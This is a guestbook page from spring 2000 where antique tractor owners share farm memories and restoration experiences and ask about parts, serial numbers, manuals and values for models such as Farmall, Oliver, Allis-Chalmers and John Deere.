Brian Rothenberger wrote on Sunday, April 23, 2000 (PDT):My neigbor has a 1946 "G". He bought it new in 46. It was used for many years as the main diary farm tractor until it was replaced by a 70. In it's later life it has been used for plowing snow (It takes a lot of arm strenght to steer with a bucket load of snow) and a wood tractor. Last year he put new pistons and rings in it, the first engine overhaul. Like the tractor my neighbor is old and tough. He is 91 and still drives "old john".
Jim Fenton wrote on Sunday, April 23, 2000 (PDT):I have a 1967 AC D-21 Been Overhauled Appox 19 years ago by neighbor. He got the tractor new in Ill. The kids just used the tractor,putting nothing nor replacing nothing. I purchased the D-21 at a bankrupcy sale for $2250.00 After some work----Alot of time chasing parts, it does run. Now is when the work really comes into play.. you can see where the seals leak, how the breaks hold.. So if anyone has parts or decals, books, manuals, or information an or conversation. I;ld welcome hearing from ya. Thanks for reading this..
Ron Wilson wrote on Sunday, April 23, 2000 (PDT):I just bought a Leader Tractor, and plan to restore it. any suggestions greatly appreciated. In answer to Bob, I understand that Long tractors may have manufactored Leader for a while. I am not sure, but several older Farmers in Southside Virginia told me this.
Daniel Simpson wrote on Saturday, April 22, 2000 (PDT):I have a 1955 Massy Harris Pacer in excellent condition, I would like some information on the impliments that went with this tractor especially the hook up for the land plows. I also have the blade for the front of the tractor and the cultivators. I also would like some indication of the value of this tractor. It looks and works perfect.
Tommy Bailey wrote on Saturday, April 22, 2000 (PDT):I have an "A" and need to find torque specs. for the connecting rods and where to find parts for engine and other replacement parts,i.e. sickle bar mower but need the oak blanks. I am new to the tractor and not quite sure of proper names. Thanks for any help you might be able to provide. Sincerely Tommy Bailey
Robert Cramer wrote on Saturday, April 22, 2000 (PDT):I have two farmall tractors, one is a 48 cub (completely restored) and am now finishing up a 1953 super M pulling tractor. In need of a propane manifold or a cold gas manifold. Please contact me at above e-mail address or phone 419-399-4280.
Craig Hayton wrote on Saturday, April 22, 2000 (PDT):Good Morning I enjoyed the pictures. I grew up with Olivers we had a 66 88 and a 770 diesel. I bought a 1956 Super 77 diesel from the orignal owner. The tractor was in good shape and runs great. All I had to do was a major cleaning. I replaced the gauges, steering wheel,front tires ( rear tires in the spring). A very helpful hint to remove all the grease and dirt. Use easy off oven cleaner. It takes paint and all. So if you are not planning to paint your tractor DON't USE IT. I'll try to send a before and after picture over the net. thanks for the sight craig
Dave Jewson wrote on Friday, April 21, 2000 (PDT):Did you know that the Oliver Row Crop tractors were designed to only go 12 mph in high gear. This was because of fear that the tractors would be rolled while turning corners. Unfortunately some of the testers still managed to roll the tractors. The Standards were able to go approximately 18 mph. Still, they are quite nice tractors. The Row Crop 70 tractor produced approximately 23 belt horsepower.
Andy Pridham wrote on Friday, April 21, 2000 (PDT):I have a 49 and a 51 C. The 51 was my grandfathers and I have it prety much back to original. I put a C-153 combine motor in the 49. Just had to drill the crank for a pilot bearing, make and exhaust header and cut the intake to move the carb closer to the engine block for hood clearance. Great swap, now runs 41 hp and pulls much better. Anyone done this swap before. Would the original 123 cam shaft work in the 153? If so would it provide more torque? The 153 revs higher but suffers on the bottom end. Goal is to get it to the 2500 lb mofified class. Almost there. Anyone put a turbo on something like this? If so what size? I've got 16.9 X 26" on the back with custom hubs and tin rims. Any info back would be appreciated.
Tom Oller wrote on Friday, April 21, 2000 (PDT):I have a 1940 AC "B" that used to belong to my dad who was an AC mechanic in Ohio. Crank start. It likes to kick while trying to start it. It is in good condition and I keep it inside. I do on occasion take it to antique Machinery Shows.
Glenn Lennox wrote on Thursday, April 20, 2000 (PDT):My father and I have 2 20-35's, in varying stages of restoration. A comment on the "easy" steering... We had just gotten the latest acquisition running a few years ago, and wanted to try it out at a plowing demo. Didn't bother to check out the steering, which seemed a bit heavy but worked. Made one pass with a 3 bottom plow, cranked it off hard to turn at the end, where the steering promptly locked. Made a complete 360 degree loop before giving up reefing on the wheel, and threw the clutch. unhooked, and finally freed the steering, then just parked it for the day. Not a very great first impression! Greasing the linkage and the gearbox have helped, but it's still a brute to steer! FUN
Bob Collins wrote on Wednesday, April 19, 2000 (PDT):I have two 730Ds electic start and two 720D one direct start and the other one pony start and a 620. I will be selling a couple of the tractors and I don't know which except one of the 730 will not be sold as it is perfect. One of the 720s the pony start looks like a new tractor as it only has 990 actual hours on it and for the past twenty year was owned by a collector that only showed it. I don't want to sell but my wife thinks 5 tractors is a little much for nine acers. They are the best they made and for the money you can not beat them for working.
Donavon Hardesty wrote on Wednesday, April 19, 2000 (PDT):I am looking for a radiator for a Minneapolis Moline Z. please contact me with information, if you have any. Thank you!
Dave Jewson wrote on Wednesday, April 19, 2000 (PDT):In regards to the reverses on Model 70 tractors, my 1939 and 1940 Row Crop 70's had only one reverse. I have a book written by a Mr. Morrel, an engineer for Oliver, which I believe states that the dual reverse was used starting with the 66, 77, 88, and 99 series. My current tractor is a Row Crop 88 with dual reverses. I am on a friends computer so I do not have e-mail.
Art Kallenbach wrote on Tuesday, April 18, 2000 (PDT):I have a 1951 VAI. I would like to know Horse power. Also does anyone know how to find a front end loader and 3-point hitch for this?
Rolland Jones wrote on Tuesday, April 18, 2000 (PDT):I have a Yellow and White Cub Low Boy, Serial #21504JHG-702 and am trying to find information about what year it is. Where is a good place to find information about the Cub Low Boy?
Chris Boughen wrote on Tuesday, April 18, 2000 (PDT):That is one sharp Cub. I own a 1951 Farmall Cub in decent shape. Looking for a front end radiator/steering assembly, mines badly cracked, don't know how to weld cast. Any info greatly appriciated.
michael mccloy wrote on Tuesday, April 18, 2000 (PDT):i am going to take my tractor to War birds over Wanaka show at easter
Ken Martin wrote on Monday, April 17, 2000 (PDT):I cut teeth on a 70 gasoline at 12 years old on our western North Dakota sugar beet farm, but when I worked for my uncle one summer he had just got a new/used 720 in its finest paint. I ran this tractor most of the summer plowing a field of alfalfa in gumbo. We had a two bottom spinner plow and ran in fourth gear if I remember right. The land owner insisted that we run his IH 560 gasoline with the 720 -- no contest and what a long locomotive it was. The only way the 560 could keep up was to use the torque amplifier jusdiciously. I also had the distinct honor of starting the 720 diesel backwards twice that I can remember. First time was a real shocker when the oil came flying back in your face from the air cleaner; of course my uncle swinging his arms crosswise took a little figuring out. Loved starting it with the pony motor and there is nothing like hearing the 720 idling in the farm yard while eating a great noon meal. And lugging power - wow! You could lug it down to two pops a second.
Martin Farrant Somerset England. wrote on Monday, April 17, 2000 (PDT):We own a 1952 Series 3A Field marshall it is fitted with 12volt electrics and a H/D Hesford winch .It was restored 6 years ago. Most parts for the range of Field Marshall tractors can be found by contacting Robert H Crawford & son .Agricultural engineers.Frithville, Boston.Linconshire.England. 01205/750369.
BJ Beitman wrote on Monday, April 17, 2000 (PDT):Need info on Intnl W450 tractor. Year?
John Lambert wrote on Sunday, April 16, 2000 (PDT):Andrew Gazdecki, the Serial Number tag on the left side of the engine can be hard to read. If the numbers can't be read with the eye, you can brush on a mild sulfuric acid to melt away what's hiding the number. Even if it's been ground off a little this'll usually make it ledgible. Stand by with a water hose though to neutralize the acid. This is the same process we used to raise serial number from weapons when I was in law enforcement. www.wb4uds.org/jlambert
Tom Wellnitz wrote on Sunday, April 16, 2000 (PDT):Iam looking for the Allis CHalmers name plats that goes on the side of the hood on a D-10 Allis, I thank they are all the same on all D series tractors Tom
Wallace Martin wrote on Saturday, April 15, 2000 (PDT):I just purchased a Fordson Super Major Diesel at an auction in South Carolina.I need to know where the serial number is located.I paid $4000 for this restored rebuilt one owner tractor.i would like some info on this tractor from other proud owners.
Ed Culler wrote on Saturday, April 15, 2000 (PDT):I have a cockshutt 40 that I purchased in 1976. I'm looking for replacement piston rings oversized 3and 9/16 bore for Buda 230 gas engine.
Ron J wrote on Thursday, April 13, 2000 (PDT):The picture is definitely a 22-36, by looking at the side curtains the up graded 15-30 (or 22-36) has a raised rectangular area between the vents as does this tractor. The exhaust probably has an aftermarket manifold on it. I have one of these tractors also and it has an aftermarket manifold that takes it through the hood instead of out the side curtain, and mine also has rubber on cutoffs also.
james nielson wrote on Wednesday, April 12, 2000 (PDT):i would like to get 2 back tires for my f-20 tire size is 9.00 x 36 does anyone know where i could find them would thank you for the info
john wrote on Tuesday, April 11, 2000 (PDT): we own a 300 utility, probably a '58. Great machine, but having trouble with a leaking hydraulic tank under the seat and a slow reaction time with the hydraulics, especially if it's cold. The leak happens after the tractor has been parked and allowed to cool. Any ideas?
Virgil Walden wrote on Tuesday, April 11, 2000 (PDT):I recently purchased a AC D17 with the gas engine. Could you tell me where I could get a maintenance book for it? I need to replace the steering wheel and don't know quite how to go about it. It also need other work. Thanks Virgil
H. W. Jones wrote on Monday, April 10, 2000 (PDT):I have recently acquired a 1948 Farmall Cub. I am trying to get the "one touch lift" or hydraulic system operating. It needs fluid but the only thing that is listed in the manual is IH-Hytran oil. From what I can see this is SAE 80 for winter and SAE 90 for summer. Is this the correct oil to use?
Dale Dunkelberger wrote on Monday, April 10, 2000 (PDT):A friend has a 3oo row crop with wfe its in great shape with the 3 point hitch conv. it comes with a 5 ft brush hog all the tractor needs is paint, sheet metal is great he only used it to brush hog 1.1/2 acres of grass once a year . does any body know what this tractor might be worth . Iam thinking of buying it . If so let me know , Thank you
Gary Wertz wrote on Sunday, April 09, 2000 (PDT):Iam in the process of restoring a running 1947 Farmall Cub. I found a aftermarket battery box, does anyone know if they put the metal plate,(battery box cover) on top of the battery with a rubber mat to keep the post from contacting the metal. Also does anyone know where you can find the orignal type of wiring, I think it had a outside woven covering. Thanks. Red forever..........
Dave Whiteneck wrote on Sunday, April 09, 2000 (PDT):Gee, I feel like a loner with all you RED Cub owners, just purchased a '65 yellow&white cub. It was a bargin $3500 W/ mower deck, landplow,harrows, sawrig, cultervater and graderblade and a sickle blade also.Tractor and stuff has been in sheds most of the time runs like new. Would like to find some implement books at resonable price, in the New Hanpshire area. Please Email.
dean slavick wrote on Saturday, April 08, 2000 (PDT):any one heard of a golden eagle or a blackhawk/
Dean Slavick wrote on Saturday, April 08, 2000 (PDT):I have a WD45LP for sale.
mark pratt wrote on Saturday, April 08, 2000 (PDT):In 1949 my father bought a brand new cockshutt 40 gas.After many years of constant use on our farm, it was retired and stored in the shed .Last summer I had the priveledge of restoring it for him . The look on his face when we rolled it out was worth all the countless hours that I spent on it. It has becom a family heirloom !
Mike Trentham wrote on Saturday, April 08, 2000 (PDT):I have a 8n Ford serial # 8n 37558 which I understand is a 1951. It is used every year to rake hay and pull a 5ft finishing mower to mow the yard. metal work good runs great but needs paint. what would the price range be for this tractor.
Bobby MeltoReagan,Tn. wrote on Friday, April 07, 2000 (PDT):the leader tractor was built by the brockway bros,auborn ohio,they were never built in chagrin falls ohio.there was no postoffice in auborn ohio so the nearst postoffice was in chagrin falls, and the postmaster there knew eyerybody for miles around,so they could get their mail this way,a grandson still lives there and has some of these tractors,including the last tractor they built,he also has some extra parts,its worth looking into,I HAVE SR # 10539,RESTORED,NOT FOR SALE,THERE IS TWO IN CAMBDEN,TN.FOR SALE.IF ANYONE IS INTERSTED I WILL TRY TO GET THE MANS PH,NO.
Thomas Galvin wrote on Thursday, April 06, 2000 (PDT):Hello,I am looking for a 1947 to 1955 Farmall cub in excellent restored condition. preferably with attachments.Indianapolis area.Please Email me condition as well as price
chris browning wrote on Thursday, April 06, 2000 (PDT): I recently purchased a 48 J.D. B with the planter and fertilizer attachments that mount on the tractor (2 row).Can someone tell me the name of or the number of a John Deere publication that will show you how to put this equipment on the tractor and operate it? The tractor also had a 2 row cultivator on it. I think you have to use part of the cultivator to mount the planter and fertilizer attatchments on the tractor. Any help will be appreciated.
Dean Kyle wrote on Wednesday, April 05, 2000 (PDT):I have a wide front WD45 I recently purchased. I would like to find out what year it was made. I don't know where to look for the serial number that denotes the year. If anyone can help me, please E-Mail me at phyllisk at Ameritech.net
Eric Meuwissen wrote on Wednesday, April 05, 2000 (PDT):I am the owner of a Ford Super Dexta from 1964. My problem; I have no information about this little solid tractor. I need to rebuild the whole cabeletree because they went on fire. Please send me information and photo's if possible.
Gordy Anderson wrote on Tuesday, April 04, 2000 (PDT):I also have a DI case it has a industrial loader on it made by lull company. My Dad purchased the tractor from a blacktop company. The tractor was handed down to me and I to would like to know what color it should be. "what a workhorse"
Don Ellingson wrote on Monday, April 03, 2000 (PDT):I own a 1931 mh gp with a 4cyl engine tractor in complete runing condition except engine govenor.Anyone knowing where I could find one?
Gary & Shirley wrote on Monday, April 03, 2000 (PDT):We have this exact tractor, and we love it. Anybody need a model GP standard 1929. We have one. We need a 375 J.D. skid steer loader.
Dale Smith wrote on Monday, April 03, 2000 (PDT):Looking over the above comments, it appears that alot of people have questions about Avery tractors and few people have answers. I have an Avery and I am in need of universal joints and have been unable to find anyone who know of a club or locations of possible parts. Any information would be greatly appreciated.
Don Wilson wrote on Monday, April 03, 2000 (PDT):I have a Minneapolis 27-42 Crossmotor .How many of these Tractors were built and what were the Serial Number break downs
Ron J wrote on Monday, April 03, 2000 (PDT):Does any one know much about the cultivators for the "B" I recently bought one for my manual lift B and am having a hard time getting the rear gang to lift, the tractor it came off of was a hydraulic conversion.
Glen wrote on Sunday, April 02, 2000 (PDT):i have just accuired a Massy Harris No 16 sin# PGA 50283 with motor # y91 412 42670 and im wondering what year this tractor was built, also looking for side skirts for batery box
Tim Malin wrote on Sunday, April 02, 2000 (PDT):I bought a Super M at an Amish auction in Cashton, WI, 34 miles from my house. It was in amazingly good condition, and after 35 minutes of inspecting I declared it a good buy if it went in my price range. I'm 14, so you know how money comes tight. I got it for 900. It was absolutely amazing, and i probably will never get another buy as good. I would like to get some restoration tips. And if anyone would know where to buy paints, decals, etc. it would be helpful. I live on a family multifarm 600 acres, and I thought since we use our original M for so much I could make a business off of doing things for the nieghbors. Any tips, comments, etc. are very welcomed and thank you.
lance snook wrote on Sunday, April 02, 2000 (PDT):me and my buddy just completed the resto on our 1930 10-20 It is a great tractor
bryan dosier wrote on Sunday, April 02, 2000 (PDT):i have a "c" model i bought several years ago.it quit on me awhile back.i am looking for copies of owners manual& or shop manuals for it.i would really like to get it going again.thanks for any info
Evan wrote on Sunday, April 02, 2000 (PDT):I just bough a 1941 ford 9N tractor,it runs but needs a lot of work,my main problem is that there is condensation coming out of the pipe going to the oil pan. Can someone please E-mail me and tell me how to fix this? P.S I know it isn't water in the oile because i just changed it.
Gerry Swigart wrote on Saturday, April 01, 2000 (PST):Iconsidering buying a Farmal Super M for light work aroun dout place and grooming an areana. I like to put a loaded on it, but don't even who what to look for. I see quick a few at Auctions. Any helpful ideas ?
Alan wrote on Saturday, April 01, 2000 (PST):I am looking at 2 John Deere 50s and don"t know anything about them. Can anyone tell me anything about these tractors I may want to try and by one of these The sheet metal is straight on both tractors and they both run what would they be worth. Any help would be appreicated..
William Losey wrote on Friday, March 31, 2000 (PST):Mr Banning the picture of your tractor is absolutely beautiful. I have never seen an earlier model tractor that runs on propane. My father and I have three JD tractors a B, A, and a 620, but both of us are really big G fans and hope to have one some day.
William Losey wrote on Friday, March 31, 2000 (PST):My father and I own a JD 620 witch runs great for not being a diesel but it steers extremely hard because of the manuel steering. We were wanted to know if it was possible to covert it to power steering? If possible how difficult would it be and what would need to complete it? Or if any one knows how to free up the steering so it will turn easier. We have tried every thing we can think. If any one has any ideas please write back. Ps- we would much rather have the power steering.
Lee Schweizer wrote on Friday, March 31, 2000 (PST):This is a good looking tractor. We are restoring a Super 99 GMD - Did they make a power steering unit for this model?
Warren Fox wrote on Friday, March 31, 2000 (PST):I've just purchased what I believe is a 1918 Parrett 12-25 and I'm looking for more information on this particular tractor. I'm short the radiator, fan, and other misc. parts. Would appreciate any information.
Randall Babbitt wrote on Thursday, March 30, 2000 (PST):I would like to know where I can get info on the Super 95, 97, and 98 Massey's. I need serial #'s and years each model was made.
pete wrote on Thursday, March 30, 2000 (PST):I am looking for original or reproduction fuel and radiator caps for a MH Pacer. Any suggestions? Thanks
KEN NAULING wrote on Wednesday, March 29, 2000 (PST):WROTE ON MARCH 29 2000 I JUST REPAINTED A WD 45 AND DOES IT LOOK GOOD. I HATE TO USE IT NOW TO PULL THE MANURE SPREADERS BUT I SURE LOOK GOOD SPREADING.
Catharine Sullivan wrote on Tuesday, March 28, 2000 (PST):Can anyone please tell me how to find the year of my "new" Cockshutt 40-Serial number is 40P 11605-The serial # list says a 110615 is a Model 50- Tractor was purchased at auction, and I would like to know what its vintage is. Thank you!!
buckeye al wrote on Tuesday, March 28, 2000 (PST):Dad's first tractor was an H. He first put me up on it to have me drive it when I was just 5. That was over 40 years ago and I can still remember that first drive. We'd just put the cultivators on it & for a guy my size it looked like a monster! As I drove it up the lane to the barn I turned too close to the wooden stand that supported the 55 gallon oil drum that was our gasoline storage tank. It came to the ground. Had a good lot of kindling when I got done! Don't remember Dad's exact words but I knew then and now, he was NOT happy! Strange thing though, I've been driving this same H for over 40 years now and though it is a small tractor, sometimes it just amazes me what it WILL do!
Mark Wallace wrote on Tuesday, March 28, 2000 (PST):I have 2 super W-4's both 53's, 1 51 W-4, 3 super W-6's and would really like a W-9 gas and I'm willing to trade or pat cash but they are amasing little tractors
GARY KISER wrote on Tuesday, March 28, 2000 (PST):I am looking for information on Field Marshalls. My father owns one and we are not sure of the year or model or a number of other things. It is a Field Marshall #10723. Can someone please tell me alittle more about this tractor. THNAK YOU.
Nelson Bailey wrote on Monday, March 27, 2000 (PST):I purchased a '55 'B' in July 1999 W/2bottom plow,cultivator,fert.att.and 5ft trail disc.Runs well,but having some hyd.problems.changed to 12v& cleaned &repainted front Half,working on back half.Good small tracfor 5Acres.
Russ wrote on Monday, March 27, 2000 (PST):I just wanted to say that I learned to drive on a D17 .It was our only loader tractor for many faithful years, we had a f11 farmhand loader on it and it was amazing that a tractor off that horsepower would handle the big round bales with such ease.But the winter of 97 finaly did it in, and dad gave up on it. But IT will be restored again someday.
peter brown wrote on Monday, March 27, 2000 (PST):could somebody please email me , i need to know where this picture was taken+who submitted it to this site.i am almost certain that this is my grand fathers tractor,he has ben deceased for four years and this would mean alot to me.thank you
Peter Brown wrote on Monday, March 27, 2000 (PST):I own a twincity 17-28 which is the same as this tractor. the 12-20 was re rated to a 17-28 the only cosmetic differance is that in the lower radiator tank they cast 17-28. I have been trying to learn as much as possible on these units since i am restoring mine right now. I am still trying to find the year on mine and any sales brochures or any printed matter on this tractor.Mine is complete and runs excellent.my sn#29987 eng#30229 with the wheeler schebler carburator.
Moos Brandon wrote on Monday, March 27, 2000 (PST):I am Looking for a place to buy or repair my Water pump for a SD3. Or If anybody Knows were to to find a seal and shaft for the pump Thanks
Grant Mishler wrote on Sunday, March 26, 2000 (PST):Austin Ferguson; Would you contact me at my e-mail address mishl001 at mc.duke.edu or phone me at (804)585-1370? I want to find out about those 2 WD-45's. My computer won't pull up your e-mail address. I am looking for a WD-45 so anyone with any info please contact me.
Jim Moore wrote on Sunday, March 26, 2000 (PST):I have a cockshutt 40 that i am restoring and i need an exhaust/intake manifold it is a 6cly Buda if you can help please contact me thanks.
Catharine Sullivan wrote on Sunday, March 26, 2000 (PST):Have purchased an old cockshutt at auction & would like to verify model & year-I have the serial number and would like to know if anyone can tell me how to trace the number & identify the tractor. Thanks!!!
Don Stoltenberg wrote on Sunday, March 26, 2000 (PST):Just purchaced a 1946 Case VAC. Runs well, Needs a new or rebuilt carburator. Looking for info on 3-point hitch.
Mark Foster wrote on Saturday, March 25, 2000 (PST):WOW Ihave wrecked 3 of thease tractors and Iam still looking for the same parts.I have been at it for 4 years Ineed final drive parts housings etc it appears to be a week point here . Thay used them here for ttansport in the wet in the sandy semi desert country.Which means perfect grouser plates and very worn track chains.But i have a good set now .I Have just about finished the tin work 90% new now.The next job is to make new liners for the motor.Gear box clutches,acc all done. T -20 PARTS ARE MADE OF UN-OBTAINIUM HERE so i spend most of my time making parts . thanks mark
David wrote on Saturday, March 25, 2000 (PST):I am in the process of buying an AC-C and need to know what implements were made for this and if there any available for sale. Also would like to know if the B and c are the same size, and if B implements fit the C. Looking for a back blade especially. Thanks!
Gary Gilbert wrote on Saturday, March 25, 2000 (PST):I own a 52/58 International 350 Utility with clorided rear rubber, and the rims are beginning to show signs of rust. I would like to find both rear wheel weights as well as front weights, either wheel, or frame mounting, to fit my tractor.
Bryan wrote on Saturday, March 25, 2000 (PST):I have a 1952 40 and was wondering what color this tractor should be painted. It seems to have been the creamy color. But I have never seen a 40 that wasn't red. Please mail if you can assist me with this problem.
Margaret Howden wrote on Friday, March 24, 2000 (PST):Need a small tractor and implements for market gardening, and would like to locate Farmall Cub (not Cub Cadet) or MH Pony in working condition, in SW Wisconsin or Northern Illinois. (Of course, our 8 year old hopes it will be in show condition, but I'd rather budget for more attachments than paint and decals ;-).We use an IH 706 and a Ferguson TO-30 on the farm, but I need something lighter and with a smaller turning radius for the garden (only about 1 acre total). If you have one for sale, please contact me. Thanks.
Little nate wrote on Friday, March 24, 2000 (PST): Big nate is my dad and he needs that rim becouse the tractor will be mine someday,it's a 12spline 36" flat spoke rubber wheel.I'm 10 and I love to drive this tractor with my dad!!!
Hal wrote on Friday, March 24, 2000 (PST):I have a 1946 Case and would like to attach a mower. Can anyone tell me if a 1946 has a 540 for the PTO? I have counted six splines on the PTO shaft.
John Weide wrote on Friday, March 24, 2000 (PST):I spent alot of time on my grandparents farm when I was little and they used oliver tractors for all the heavy work and had a small diesel ford with a loader towards the end, to clean out the barns,etc. The place was sold in 1971 when I was 8. I became a father in '92 and thuoght my son would enjoy things like tractor shows and such, so I decided to find an Oliver to restore , but all I could remember was the big red wheels! So, without asking my relatives what models were there, I obtained a 60 rowcrop. I did alot of research before I restored it and found out some minute details, such as the fact the gages used chrome plated brass lens rings in 1941, (my Olivers year)all that came later still had the chrome,but due to war, it was chrome plated steel. My 60 turned out exellent,I use it to buzz wood and I have a large garden, also its a hit at the local tractor show each year. Theres something I'd realy like to have and thats a set of cultivators for it. Oh yeh, the tractors on the farm when I was little? A 70 and A 77!!
Louie Jeune wrote on Friday, March 24, 2000 (PST):Growing up in Catskill N.Y. in the late forties and fifties the village had one of these Fordson Major Diesel tractors whit a backhoe on and it was called a pippen. Never saw one again.
Kelly Holmen wrote on Friday, March 24, 2000 (PST):I just got a 38WC. I am 15 years old. My dad and I are working on it. We found it in a ditch were it had been sitting for more than 25 years. We took it home and it actually turned over. Were having a lot of fun.
Lindley Clark wrote on Friday, March 24, 2000 (PST):In the 40s and early 50s my father was an Oliver dealer in Calhoun Kentucky. A cousin called me last night and told me he had located a model 60 in excellent condition that my Dad had sold new. I am now the owner of that tractor. When I was a kid hanging aroung the dealership I learned to drive on these tractors and usually had to drive all the new ones, so there is a possibility that I drove this one over 50 years ago. I can't wait to see it again! I also need a steering wheel in good condition.
Michael wrote on Friday, March 24, 2000 (PST):My brother-in-law just acquired a Internatianal McCormick W4 and needs specs, type of lubricants, etc. Can anyone be of assistance. Thanks
Sherry Goodreau wrote on Friday, March 24, 2000 (PST):My dad has a co-op not sure of the year but I am trying to find a buyer for it. He thinks it is a 37-47 somewhere in those year's. The model # IS 413 153. Does anyone know this tracktor? It has a broken back axel, but is for sale.make offer.
Steve Pfennig wrote on Thursday, March 23, 2000 (PST):I drove this actual tractor when I was 10-ish. What a beautiful restoration job. These tractors seem to provide a lot of people with many good memories. I sure hope to create some more in the future on this one.
Guy Wilkinson wrote on Thursday, March 23, 2000 (PST):My HG 42 just stoped working the tracks are not engaging. I pulled the rear differential cover off and engaged the transmission and it seems to be turning but either of the tracks are not moving. What could it be? Do I have to take it all apart or is it in the differential
Eddie White wrote on Wednesday, March 22, 2000 (PST):There is two MM down her in lower Alabama that a lady has for sale one of them is a 57 model 5 STAR and the other is a 61 model 4 star both need some work. she can be reach at 334-937-9849
Bruce Wilhelm wrote on Wednesday, March 22, 2000 (PST):I have a Massey 98 which I tractor pull with. Also am in the process of restoring Oliver 990 which is the same tractor. Am looking for parts for the 990 ~ seat, grill, hubs, ect. When the Oliver is finished, We will have a father & daughter pulling team!
Bruce Wilhelm wrote on Wednesday, March 22, 2000 (PST):I have a Massey 98 which I tractor pull with. Also am in the process of restoring Oliver 990 which is the same tractor. Am looking for parts for the 990 ~ seat, grill, hubs, ect. When the Oliver is finished, We will have a father & daughter pulling team!
Bill Whitman wrote on Wednesday, March 22, 2000 (PST):Interested in any attachments for a JD "M" (1950)especially a 3pt. hitch. Prefer that offered items be in Northern N.E. Thanx I also own a JD #420 and could use a loader for it.
Bobby M wrote on Wednesday, March 22, 2000 (PST):I own a IH 300 utility not sure about year and how to find out what year, having carberator problems sure could use some advise or a place to get information or shop manual any help would be appreciated.
Bill Whitman wrote on Wednesday, March 22, 2000 (PST):Interested in any attachments for a JD "M" (1950)especially a 3pt. hitch. Prefer that offered items be in Northern N.E. Thanx I also own a JD #420 and could use a loader for it.
Eric Bartley wrote on Wednesday, March 22, 2000 (PST): My dad has two 8-16 tractors one he has restord and working on the other.I know little about them, but I do know that out of the tweny-thirty tractors he has,he's most proud of the 8-16.
Don wrote on Wednesday, March 22, 2000 (PST):I purchased a JD 50 It came with a 3 point hitch I installed the lower arms . Do the chains just attach to the draw bar? I have no attachments but I have questions What keeps the upper arms from draging on the ground or do you just leave the upper ones attached to the implement ?
Dave Budd wrote on Wednesday, March 22, 2000 (PST):Looking to buy a John Deere Model H, and also a toy model of the tractor. Please E-mail me.
Mike in California wrote on Tuesday, March 21, 2000 (PST):I have a 60's vintage 2000 Industrial. Is there a stamping or a plate anywhere on the tractor that can tell me what year it might be?
Ken Smith wrote on Tuesday, March 21, 2000 (PST):I am 43 and live in mid missouri my father farmed with a WC and then a WD45 for years I grew up on the WD45 Last may I bought a 43 WC It had been kept in a old barn. It was in perfect shape! put in new oil and fuel and 2nd crank of the crank it came to life. It is all original except now has a 8 volt battery and live hydrolics off the front crank pully. I am getting ready to repaint it this month. I found a place close that had original decals. I also have a WD45 that I am restoring I do love that ORANGE!!!!!
Rhonda Funderburk wrote on Tuesday, March 21, 2000 (PST):I was wondering if anyone knew how much I could buy an original motor for one of these tractors and a hood. We have one that someone put a 4 cylinder motor in it. I would trade this motor for a 3 cylinder Leader motor if anyone was interested. Any info is appreciated. Also how much are these tractors worth?
Doug Adams wrote on Monday, March 20, 2000 (PST):My dad bought one of these tractors new in 1962, I believe that he paid about $2200.00 for the tractor and plow. I used that tractor a lot when I was growing up, it was our main tractor until about 1970 when he bought a new International. Minneapolis-Moline was no longer available! The tractor lasted real well with I believe one rebuild on the engine. The tractor developed 65 HP on the dyno, we had another that we bought used and it got 70 HP on the dyno. The book called for 59 HP on that tractor but both of ours were over that. The tractor we bought new is now retired to just pulling a baler and a few other odds and ends.
Michael Petri wrote on Monday, March 20, 2000 (PST):I have inherited what I believe to be a 1956 8N. The only paperwork I found shows the identification number as A208? Any help in identifying this tractor or the value of it?
J.WOTRANG wrote on Monday, March 20, 2000 (PST):WHERE IS THE BEST PLACE TO BUY PARTS FOR A D-17
Graham Partridge wrote on Sunday, March 19, 2000 (PST):I own 12 Field Marshall Tractor's and I recently purchased the famous Portland Marshall and intend to restore it and I have already freed the engine and I hope to have it running in a month's time and show it at The Great Dorset Steam Fair. I am looking for parts for the Model M Marshall e.g. Early type Cylinder Head, Flywheel, Aircleaner top, exhaust system and radiators.
Kelvyn Moyer wrote on Sunday, March 19, 2000 (PST):My dad had an Oliver 70 that we used for all kinds of general purposes. We used it to grind feed in the winter because it would always start no matter how cold it was outside. It was a fun tractor to drive, especially mowing and raking hay.
Mary wrote on Sunday, March 19, 2000 (PST):We have an early model cub but the serial number tag is gone. Any suggestions for determining the actual year of the tractor? We try to find as many pictures as possible to reference but it's still difficult to tell for sure. Would appreciate any help if you can give it! Thanks.
earl Allen wrote on Saturday, March 18, 2000 (PST):I have a 1955 OC-3 with a 5 foot Hyd blade and full roll cage ,I live in the foothills of No. Calif.and use it extensily. I have about an inch of adjustment left on the tracks, My question is does anyone rebuild tracks or are there any good used or new ones available and what would one expect to pay for them? I did find an old HC42 for sale that has not moved in 20 years for $500.00 . is that too much to pay for a parts tractor? This tractor has much better tracks, a Hyd pack in front and a PTO on the rear with a 6 inch belt drive on the side ,would this be of any value to anyone? E- Mail Me at ekallen at neworld.net
Jason D. Wahl wrote on Saturday, March 18, 2000 (PST):I am from New Braunfels, Texas and have several friends who share my hobby of restoring 2-cyl. JOHN DEERES'. Mike Henk is one of those, he owns a somewhat rare 830I or idustrial version of the 830. It is idustrial yellow of course and has electric start with the 12/24 volt system. It will give an Oliver 6-cyl. diesel tractor a run for it's money in our local tractor pulls!!! This is the only one out of three that survived Dean Word Co. here in N.B. Tx.
Don Mooree wrote on Saturday, March 18, 2000 (PST):I am looking for a gear box to reduce speed and to reverce directoin of PTO for a cub lo boy tractor 1955 to 1964
Burleigh soape Jr wrote on Saturday, March 18, 2000 (PST):If anybody has a set of one point fast hitch five foot double gain disk please contact me at soapeburleigh at hotmail.com thanks
Dave Lansing wrote on Friday, March 17, 2000 (PST):Oops! I got my Farmalls mixed up in my message from 3/15/00. Just found the auction list from my grandpa's farm. The H had a horn loader and a snow blade on it, not the M. The M was the one with the wide front that they used regularly. Everything was sold at auction in Portage, WI in March of 1984. Has anyone had experience tracking down where things ended up from an old auction. I would imagine it takes quite a bit of digging and determination, but I would love to find one of those Farmalls and make it mine. I get butterflies just thinking about it. Sounds like I could be setting myself up for disappointment, but oh well!
joe molt wrote on Friday, March 17, 2000 (PST):the 6o was built to replace the a not the b the 5o replaced the b
